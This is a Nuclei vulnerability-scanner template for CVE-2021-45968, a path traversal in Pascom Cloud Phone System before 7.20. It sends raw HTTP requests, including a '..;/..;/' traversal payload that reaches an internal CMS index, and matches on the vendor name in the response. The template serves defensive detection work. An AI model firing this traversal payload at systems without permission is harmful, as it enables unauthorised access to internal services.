id: CVE-2021-45968

info:
  name: Pascom CPS Path Traversal
  author: dwisiswant0
  severity: high
  description: |
    Pascom version packaged with Cloud Phone System (CPS)
    versions before 7.20 contains a known path traversal issue
  reference:
    - https://kerbit.io/research/read/blog/4
  tags: cve,cve2021,pascom,lfi

requests:
  - raw:
      - |
        GET /services/pluginscript/ HTTP/1.1
        Host: {{Hostname}}

      - | # Double parent to access CMS index
        GET /services/pluginscript/..;/..;/ HTTP/1.1
        Host: {{Hostname}}

      - | # Verifying CMS
        GET / HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_2 != status_code_1"
          # - "status_code_2 == 200" # This would contradict the matcher below if enabled, because it reduces false-positives - while the status of traversal isn't always OK (200)
          - "contains(body_2, 'pascom GmbH & Co KG') || contains(body_3, 'pascom GmbH & Co KG')" # Verifying CMS
        condition: and